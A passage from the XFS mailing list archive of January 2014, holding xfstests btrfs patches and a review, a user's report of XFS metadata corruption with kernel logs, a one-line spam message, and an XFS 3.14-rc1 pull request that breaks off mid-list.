+# success, all done +status=0 +exit diff --git a/tests/btrfs/030.out b/tests/btrfs/030.out new file mode 100644 index 0000000..050ae0b --- /dev/null +++ b/tests/btrfs/030.out @@ -0,0 +1,48 @@ +QA output created by 030 +Create initial files +Create reflinks to the initial files on other subvolumes +Verify the reflinks +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +file3: +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f +--- +Overwrite some files with new content +Verify that non-overwritten reflinks still have the same data blocks +Verify the file contents: +file1: +00d620f69f30327f0f8946b95c12de44 +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +file2: +d7402b46310fbbfbc5e466b1dccb043b +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +file3: +5a95800e4c04b11117aa4e4de057721f +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +--- +Shuffle files between directories +Verify the file contents: +file1: +e09c80c42fda55f9d992e59ca6b3307d +e09c80c42fda55f9d992e59ca6b3307d +00d620f69f30327f0f8946b95c12de44 +file2: +d7402b46310fbbfbc5e466b1dccb043b +917619ae44b38bb9968af261c3c45440 +d7402b46310fbbfbc5e466b1dccb043b +file3: +b9f275cd638cb784c9e61def94c622a8 +5a95800e4c04b11117aa4e4de057721f +5a95800e4c04b11117aa4e4de057721f diff --git a/tests/btrfs/group b/tests/btrfs/group index 8eb8c4f..3f61799 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -32,3 +32,4 @@ 027 auto quick 028 auto quick 029 auto quick +030 auto quick -- 1.7.1 From koen.de.wit@oracle.com Wed Jan 22 09:33:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EE1AB7F87 for ; Wed, 22 Jan 2014 09:33:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD6AC304062 for ; Wed, 22 Jan 2014 07:33:03 -0800 (PST) X-ASG-Debug-ID: 1390404782-04cbb05bab7eb80001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Tr2vclOiprrxqDgQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 07:33:02 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0MFX1wB025574 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 22 Jan 2014 15:33:02 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0MFX09u006218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 15:33:01 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0MFX0fF015065 for ; Wed, 22 Jan 2014 15:33:00 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 22 Jan 2014 07:33:00 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: Koen De Wit Subject: [PATCH] xfstests: define $seqres in btrfs/026-029 Date: Wed, 22 Jan 2014 16:32:18 +0100 X-ASG-Orig-Subj: [PATCH] xfstests: define $seqres in btrfs/026-029 Message-Id: <1390404738-387-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1390404782 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144363 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines I forgot to define $seqres in btrfs/026-029. As a result, a file named .full was created in the current working directory. Fix it. --- tests/btrfs/026 | 1 + tests/btrfs/027 | 1 + tests/btrfs/028 | 1 + tests/btrfs/029 | 1 + 4 files changed, 4 insertions(+), 0 deletions(-) diff --git a/tests/btrfs/026 b/tests/btrfs/026 index bf6f528..6c54590 100644 --- a/tests/btrfs/026 +++ b/tests/btrfs/026 @@ -26,6 +26,7 @@ # seq=`basename $0` +seqres=$RESULT_DIR/$seq echo "QA output created by $seq" here=`pwd` diff --git a/tests/btrfs/027 b/tests/btrfs/027 index d76bb0f..b2dff1c 100644 --- a/tests/btrfs/027 +++ b/tests/btrfs/027 @@ -26,6 +26,7 @@ #----------------------------------------------------------------------- seq=`basename $0` +seqres=$RESULT_DIR/$seq echo "QA output created by $seq" here=`pwd` diff --git a/tests/btrfs/028 b/tests/btrfs/028 index 06d2faf..f17f102 100644 --- a/tests/btrfs/028 +++ b/tests/btrfs/028 @@ -24,6 +24,7 @@ #----------------------------------------------------------------------- seq=`basename $0` +seqres=$RESULT_DIR/$seq echo "QA output created by $seq" here=`pwd` diff --git a/tests/btrfs/029 b/tests/btrfs/029 index 1fd2a93..b93b6df 100644 --- a/tests/btrfs/029 +++ b/tests/btrfs/029 @@ -29,6 +29,7 @@ #----------------------------------------------------------------------- seq=`basename $0` +seqres=$RESULT_DIR/$seq echo "QA output created by $seq" here=`pwd` -- 1.7.1 From saskani@inovex.de Wed Jan 22 10:09:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 84FE87F89 for ; Wed, 22 Jan 2014 10:09:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5D8928F8068 for ; Wed, 22 Jan 2014 08:09:18 -0800 (PST) X-ASG-Debug-ID: 1390406953-04cb6c750a81160001-NocioJ Received: from zmail.inovex.de (zmail.inovex.de [85.115.6.137]) by cuda.sgi.com with ESMTP id 04GiVOfvhvF81wBf for ; Wed, 22 Jan 2014 08:09:13 -0800 (PST) X-Barracuda-Envelope-From: saskani@inovex.de X-Barracuda-Apparent-Source-IP: 85.115.6.137 Received: from zmail.inovex.de (localhost [127.0.0.1]) by zmail.inovex.de (Postfix) with ESMTP id B8A473FCD1 for ; Wed, 22 Jan 2014 17:11:01 +0100 (CET) Received: from [172.20.10.3] (ip-109-43-2-68.web.vodafone.de [109.43.2.68]) by zmail.inovex.de (Postfix) with ESMTPSA id 617643FB7B for ; Wed, 22 Jan 2014 17:11:01 +0100 (CET) From: Sascha Askani Content-Type: multipart/signed; boundary="Apple-Mail=_8CB756A4-246D-460D-8D78-C4EA53A40F2E"; protocol="application/pgp-signature"; micalg=pgp-sha512 Subject: Weird XFS Corruption Error Message-Id: X-ASG-Orig-Subj: Weird XFS Corruption Error Date: Wed, 22 Jan 2014 17:09:10 +0100 To: xfs@oss.sgi.com Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: zmail.inovex.de[85.115.6.137] X-Barracuda-Start-Time: 1390406953 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: lenzg.net X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144363 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_8CB756A4-246D-460D-8D78-C4EA53A40F2E Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi everybody, We experienced a weird XFS corruption yesterday and I desperately trying = to find out what was happening. First, the setup: * ProLiant DL380p Gen8 * 256GB RAM * HP SmartArray P420i Controller ** 1 GB BBWC ** Firmware Version 4.68 ** 20x MK0100GCTYU 100GB SSD Drives ** Raid 1+0 * LVM * Ubuntu 12.10 LTS * Kernel 3.11.0-15-generic #23~precise1-Ubuntu fstab Entry:=20 /dev/vg00/opt_mysqlbackup /opt/mysqlbackup xfs = nobarrier,noatime,nodiratime,logbufs=3D8,logbsize=3D256k 0 2 We created a 120GB LV mounted on /opt/mysqlbackup with which (obviously) = temporarily hosts our MariaDB Backups until they are transferred to = tape. We use mylvmbackup (http://www.lenzg.net/mylvmbackup/) to create a = (approx. 55GB) tar.gz file containing the dump. While testing, I created = a hardlink for 2 Files in a subdir (=84safe=93) and forgot them for a = day while the =84original=93 file was deleted and replaced by next day=92s= backup. When I tried cleaning up the no longer needed files, I encountered the = following: --------------------------------------------------------- me@hsoi-gts3-de02:/opt/mysqlbackup$ sudo rm -rf safe/ sudo rm -rf safe/ [sudo] password for saskani: rm: cannot remove `safe/daily_snapshot.tar.gz.md5': Input/output error --------------------------------------------------------- dmesg told me: --------------------------------------------------------- [964199.138848] XFS (dm-8): Internal error xfs_bmbt_read_verify at line = 789 of file = /build/buildd/linux-lts-saucy-3.11.0/fs/xfs/xfs_bmap_btree.c. Caller = 0xffffffffa0164495 [964199.138848] [964199.138850] CPU: 1 PID: 3694 Comm: kworker/1:1H Tainted: GF = 3.11.0-15-generic #23~precise1-Ubuntu [964199.138851] Hardware name: HP ProLiant DL380p Gen8, BIOS P70 = 09/18/2013 [964199.138874] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [964199.138876] 0000000000000001 ffff881c6be6fd18 ffffffff8173bc0e = 0000000000004364 [964199.138878] ffff883f9061c000 ffff881c6be6fd38 ffffffffa016629f = ffffffffa0164495 [964199.138879] 0000000000000001 ffff881c6be6fd78 ffffffffa016630e = ffff881c6be6fda8 [964199.138880] Call Trace: [964199.138886] [] dump_stack+0x46/0x58 [964199.138906] [] xfs_error_report+0x3f/0x50 [xfs] [964199.138913] [] ? xfs_buf_iodone_work+0x95/0xc0 = [xfs] [964199.138921] [] xfs_corruption_error+0x5e/0x90 = [xfs] [964199.138928] [] ? xfs_buf_iodone_work+0x95/0xc0 = [xfs] [964199.138939] [] xfs_bmbt_read_verify+0x76/0xf0 = [xfs] [964199.138946] [] ? xfs_buf_iodone_work+0x95/0xc0 = [xfs] [964199.138949] [] ? finish_task_switch+0x52/0xf0 [964199.138969] [] xfs_buf_iodone_work+0x95/0xc0 = [xfs] [964199.138972] [] process_one_work+0x170/0x4a0 [964199.138973] [] worker_thread+0x121/0x390 [964199.138975] [] ? = manage_workers.isra.21+0x170/0x170 [964199.138977] [] kthread+0xc0/0xd0 [964199.138979] [] ? flush_kthread_worker+0xb0/0xb0 [964199.138981] [] ret_from_fork+0x7c/0xb0 [964199.138983] [] ? flush_kthread_worker+0xb0/0xb0 [964199.138984] XFS (dm-8): Corruption detected. Unmount and run = xfs_repair [964199.139014] XFS (dm-8): metadata I/O error: block 0x1f0 = ("xfs_trans_read_buf_map") error 117 numblks 8 [964199.139016] XFS (dm-8): xfs_do_force_shutdown(0x1) called from line = 367 of file /build/buildd/linux-lts-saucy-3.11.0/fs/xfs/xfs_trans_buf.c. = Return address =3D 0xffffffffa01cadbc [964199.139324] XFS (dm-8): I/O Error Detected. Shutting down filesystem [964199.139325] XFS (dm-8): Please umount the filesystem and rectify the = problem(s) [964212.367300] XFS (dm-8): xfs_log_force: error 5 returned. [964242.477283] XFS (dm-8): xfs_log_force: error 5 returned. --------------------------------------------------------- After that, I tried the following (in order): 1. xfs_repair, which did not find the superblock and started scanning = the LV, after finding the secondary superblock, it told me there=92s = still something in the log, so I 2. mounted the filesystem, which gave me a =84Structure needs cleaning=93 = after a couple of seconds 3. tried mounting again for good measure, same error =84Structure needs = cleaning=93 4. xfs_repair -L which repaired everything, and effectively cleaned my = Filesystem in the process. 5. mount the filesystem to find it empty. Since then, I=92m desperately trying to reproduce the problem, but = unfortunately to no avail. Can somebody give some insight on the errors = I encountered. I have previously operated 4,5PB worth of XFS Filesystems = for 3 years and never got an error similar to this. Best regards Sascha --Apple-Mail=_8CB756A4-246D-460D-8D78-C4EA53A40F2E Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQGcBAEBCgAGBQJS3+0mAAoJEPgp1oARaIvki5gL/0ymAjRO9Qj5S+ErILiQ2JlI +XWzc9eKchd/rcDxHQpTG2TWR9MO2v8LBOSW0AD2XGiHh2MpfaZDSNydBieexBPB pimeM9/9QydpTU0TUCIlMMRDlldr/GG0Pwy7gD21ErunuRyZKnwPH9Ww3EcJ2lOU Uesapfqzgvgo19TtHWK3T1uZ15IITTT1Pl4wZ/jlJQJ8D75FvqpG6exnVSqksezS ngX0Y4byh8gOUrrbNcYiFT64/SZPuOyfXO4qstnRrWwchle7zAnN33puOCB/tKqE xUy6sMX3Nu/pRCtjPYFwuBIKxvFnZcnbsu37pW3FXCqXgJH36hx6sUir04uCKiQK KrqgOvq9xLt2bNGq5MJDRqxSMRXqbXrzDx1JgrBqtL33YIJWiRDfUL2M1cFpGnS0 kMWp0FgWkpR1CjcGbjaXPhw1SUagWyOPxRn/X1ZGVJP99QCfSjfOVJN7vJ4GFOa4 jfPQN7g6KndaHQ88lQaandVMiu0/2YxJEKTjFbxt+w== =gpH/ -----END PGP SIGNATURE----- --Apple-Mail=_8CB756A4-246D-460D-8D78-C4EA53A40F2E-- From sandeen@sandeen.net Wed Jan 22 10:56:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F36A07F87 for ; Wed, 22 Jan 2014 10:56:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CCC2B8F8059 for ; Wed, 22 Jan 2014 08:56:00 -0800 (PST) X-ASG-Debug-ID: 1390409759-04bdf030eb8f890001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id W9ZoJJLrqbuDECsr for ; Wed, 22 Jan 2014 08:55:59 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E148660006C0; Wed, 22 Jan 2014 10:55:58 -0600 (CST) Message-ID: <52DFF81E.3030802@sandeen.net> Date: Wed, 22 Jan 2014 10:55:58 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Koen De Wit , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: define $seqres in btrfs/026-029 References: <1390404738-387-1-git-send-email-koen.de.wit@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: define $seqres in btrfs/026-029 In-Reply-To: <1390404738-387-1-git-send-email-koen.de.wit@oracle.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1390409759 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144365 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/22/14, 9:32 AM, Koen De Wit wrote: > I forgot to define $seqres in btrfs/026-029. As a result, a file named > .full was created in the current working directory. Fix it. > --- > tests/btrfs/026 | 1 + > tests/btrfs/027 | 1 + > tests/btrfs/028 | 1 + > tests/btrfs/029 | 1 + > 4 files changed, 4 insertions(+), 0 deletions(-) Reviewed-by: Eric Sandeen presumably we can add your signed-off-by? ;) I wonder if this can't be done in the common scripts: # grep -h seqres= tests/*/??? | sort | uniq -c 349 seqres=$RESULT_DIR/$seq rather than doing it in every single test ... -Eric > > diff --git a/tests/btrfs/026 b/tests/btrfs/026 > index bf6f528..6c54590 100644 > --- a/tests/btrfs/026 > +++ b/tests/btrfs/026 > @@ -26,6 +26,7 @@ > # > > seq=`basename $0` > +seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > here=`pwd` > diff --git a/tests/btrfs/027 b/tests/btrfs/027 > index d76bb0f..b2dff1c 100644 > --- a/tests/btrfs/027 > +++ b/tests/btrfs/027 > @@ -26,6 +26,7 @@ > #----------------------------------------------------------------------- > > seq=`basename $0` > +seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > here=`pwd` > diff --git a/tests/btrfs/028 b/tests/btrfs/028 > index 06d2faf..f17f102 100644 > --- a/tests/btrfs/028 > +++ b/tests/btrfs/028 > @@ -24,6 +24,7 @@ > #----------------------------------------------------------------------- > > seq=`basename $0` > +seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > here=`pwd` > diff --git a/tests/btrfs/029 b/tests/btrfs/029 > index 1fd2a93..b93b6df 100644 > --- a/tests/btrfs/029 > +++ b/tests/btrfs/029 > @@ -29,6 +29,7 @@ > #----------------------------------------------------------------------- > > seq=`basename $0` > +seqres=$RESULT_DIR/$seq > echo "QA output created by $seq" > > here=`pwd` > From dmgdistritoesteros.secretaria@policiaecuador.gob.ec Wed Jan 22 12:54:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 894C07F8D for ; Wed, 22 Jan 2014 12:54:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75D44304048 for ; Wed, 22 Jan 2014 10:54:41 -0800 (PST) X-ASG-Debug-ID: 1390416872-04bdf030eb961a0001-w1Z2WR Received: from msg-agent.policiaecuador.gob.ec (smtp.policiaecuador.gob.ec [186.46.1.119]) by cuda.sgi.com with ESMTP id 2VJq1hljdPKuhM8l for ; Wed, 22 Jan 2014 10:54:33 -0800 (PST) X-Barracuda-Envelope-From: dmgdistritoesteros.secretaria@policiaecuador.gob.ec X-Barracuda-Apparent-Source-IP: 186.46.1.119 Received: from pps.filterd (msg-agent.policiaecuador.gob.ec [127.0.0.1]) by msg-agent.policiaecuador.gob.ec (8.14.5/8.14.5) with SMTP id s0MIjDDP010581; Wed, 22 Jan 2014 10:46:47 -0800 Received: from mta02.policiaecuador.gob.ec ([182.16.0.37]) by msg-agent.policiaecuador.gob.ec with ESMTP id 1hh35ss5u6-1; Wed, 22 Jan 2014 10:46:47 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by mta02.policiaecuador.gob.ec (Postfix) with ESMTP id 0E390559FA5; Wed, 22 Jan 2014 18:06:24 -0500 (ECT) X-Virus-Scanned: amavisd-new at mta02.policiaecuador.gob.ec Received: from mta02.policiaecuador.gob.ec ([127.0.0.1]) by localhost (mta02.policiaecuador.gob.ec [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id YEVjT7tsxWEz; Wed, 22 Jan 2014 18:06:19 -0500 (ECT) Received: from mailbox.policiaecuador.gob.ec (mailbox01.policiaecuador.gob.ec [182.16.0.32]) by mta02.policiaecuador.gob.ec (Postfix) with ESMTP id 7A1FF559D18; Wed, 22 Jan 2014 17:54:01 -0500 (ECT) Date: Wed, 22 Jan 2014 13:42:44 -0500 (ECT) From: Sgt John Adams Reply-To: Sgt John Adams Subject: H Message-ID: X-ASG-Orig-Subj: H Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Originating-IP: [180.215.130.75] X-Mailer: Zimbra 7.1.3_GA_3346 (zclient/7.1.3_GA_3346) To: undisclosed-recipients:; X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-22_07:2014-01-22,2014-01-22,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=notspam policy=default score=10 spamscore=10 suspectscore=0 phishscore=1 adultscore=0 bulkscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401220132 X-Barracuda-Connect: smtp.policiaecuador.gob.ec[186.46.1.119] X-Barracuda-Start-Time: 1390416872 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144368 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA620a Custom Rule SA620a 0.20 BSF_SC7_SA298e Custom Rule SA298e I need your help From bpm@sgi.com Wed Jan 22 15:01:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 87AB27F8D for ; Wed, 22 Jan 2014 15:01:41 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9C72FAC003; Wed, 22 Jan 2014 13:01:37 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1FC224266DC; Wed, 22 Jan 2014 15:01:37 -0600 (CST) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS updates for 3.14-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20140122210137.1FC224266DC@whiskey.americas.sgi.com> Date: Wed, 22 Jan 2014 15:01:37 -0600 (CST) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these XFS updates for 3.14-rc1. This is primarily bug fixes, many of which you already have. New stuff includes a series to decouple the in-memory and on-disk log format, helpers in the area of inode clusters, and i_version handling. We decided to try to use more topic branches this release, so there are some merge commits in there on account of that. I'm afraid I didn't do a good job of putting meaningful comments in the first couple of merges. Sorry about that. I think I have the hang of it now. Thanks, Ben The following changes since commit dc1ccc48159d63eca5089e507c82c7d22ef60839: Linux 3.13-rc2 (2013-11-29 12:57:14 -0800) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/xfs-for-linus-v3.14-rc1 for you to fetch changes up to bf3964c188d686424ff7b69a45941851b9f437f0: Merge branch 'xfs-extent-list-locking-fixes' into for-next (2014-01-09 16:03:18 -0600) ---------------------------------------------------------------- xfs: update for v3.14-rc1 For 3.14-rc1 there are fixes in the areas of remote attributes, discard, growfs, memory leaks in recovery, directory v2, quotas, the MAINTAINERS file, allocation alignment, extent list locking, and in xfs_bmapi_allocate. There are cleanups in xfs_setsize_buftarg, removing unused macros, quotas, setattr, and freeing of inode clusters. The in-memory and on-disk log format have been decoupled, a common helper to calculate the number of blocks in an inode cluster has been added, and handling of i_version has been pulled into the filesystems that use it. - cleanup in xfs_setsize_buftarg - removal of remaining unused flags for vop toss/flush/flushinval - fix for memory corruption in xfs_attrlist_by_handle - fix for out-of-date comment in xfs_trans_dqlockedjoin - fix for discard if range length is less than one block - fix for overrun of agfl buffer using growfs on v4 superblock filesystems - pull i_version handling out into the filesystems that use it - don't leak recovery items on error - fix for memory leak in xfs_dir2_node_removename - several cleanups for quotas - fix bad assertion in xfs_qm_vop_create_dqattach - cleanup for xfs_setattr_mode, and add xfs_setattr_time - fix quota assert in xfs_setattr_nonsize - fix an infinite loop when turning off group/project quota before user quota - fix for temporary buffer allocation failure in xfs_dir2_block_to_sf with large directory block sizes - fix Dave's email address in MAINTAINERS - cleanup calculation of freed inode cluster blocks - fix alignment of initial file allocations to match filesystem geometry - decouple in-memory and on-disk log format - introduce a common helper to calculate the number of filesystem blocks in an inode cluster - fixes for extent list locking - fix for off-by-one in xfs_attr3_rmt_verify - fix for missing destroy_work_on_stack in xfs_bmapi_allocate ---------------------------------------------------------------- Ben Myers (6): xfs: fix calculation of freed inode cluster blocks Merge branch 'xfs-factor-icluster-macros' into for-next Merge branch 'xfs-for-linus-v3.13-rc5' into for-next xfs: reinstate the ilock in xfs_readdir Merge branch 'xfs-misc' into for-next Merge branch 'xfs-extent-list-locking-fixes' into for-next Christoph Hellwig (26): xfs: remove unused FI_ flags xfs: fix the comment explaining xfs_trans_dqlockedjoin fs: fix iversion handling xfs: tiny xfs_setattr_mode cleanup xfs: add xfs_setattr_time xfs: remove duplicate code in xlog_cil_insert_format_items xfs: refactor xfs_buf_item_format_segment xfs: refactor xfs_inode_item_size xfs: refactor xfs_inode_item_format xfs: introduce xlog_copy_iovec xfs: format log items write directly into the linear CIL buffer xfs: format logged extents directly into the CIL xfs: remove the inode log format from the inode log item xfs: remove the dquot log format from the dquot log item xfs: remove the quotaoff log format from the quotaoff log item xfs: remove xfsbdstrat error xfs: no need to lock the inode in xfs_find_handle xfs: remove xfs_iunlock_map_shared xfs: rename xfs_ilock_map_shared xfs: add xfs_ilock_attr_map_shared xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate xfs: use xfs_ilock_attr_map_shared in xfs_attr_get xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int xfs: assert that we hold the ilock for extent map access Chuansheng Liu (1): xfs: Calling destroy_work_on_stack() to pair with INIT_WORK_ONSTACK() Dan Carpenter (2): xfs: underflow bug in xfs_attrlist_by_handle() xfs: underflow bug in xfs_attrlist_by_handle() Dave Chinner (7): xfs: growfs overruns AGFL buffer on V4 filesystems xfs: growfs overruns AGFL buffer on V4 filesystems xfs: xfs_dir2_block_to_sf temp buffer allocation fails xfs: align initial file allocations correctly xfs: align initial file allocations correctly xfs: swalloc doesn't align allocations properly xfs: abort metadata writeback on permanent errors Eric Sandeen (1): xfs: simplify xfs_setsize_buftarg callchain; remove unused arg Jie Liu (19): xfs: don't perform discard if the given range length is less than block size xfs: make quota metadata truncation behavior consistent to user space xfs: integrate xfs_quota_priv header file to xfs_qm xfs: fix false assertion at xfs_qm_vop_create_dqattach xfs: fix assertion failure at xfs_setattr_nonsize xfs: fix infinite loop by detaching the group/project hints from user dquot xfs: don't perform discard if the given range length is less than block size xfs: get rid of XFS_IALLOC_INODES macros xfs: get rid of XFS_INODE_CLUSTER_SIZE macros xfs: get rid of XFS_IALLOC_BLOCKS macros xfs: introduce a common helper xfs_icluster_size_fsb xfs: use xfs_icluster_size_fsb in xfs_bulkstat xfs: use xfs_icluster_size_fsb in xfs_ialloc_inode_init xfs: use 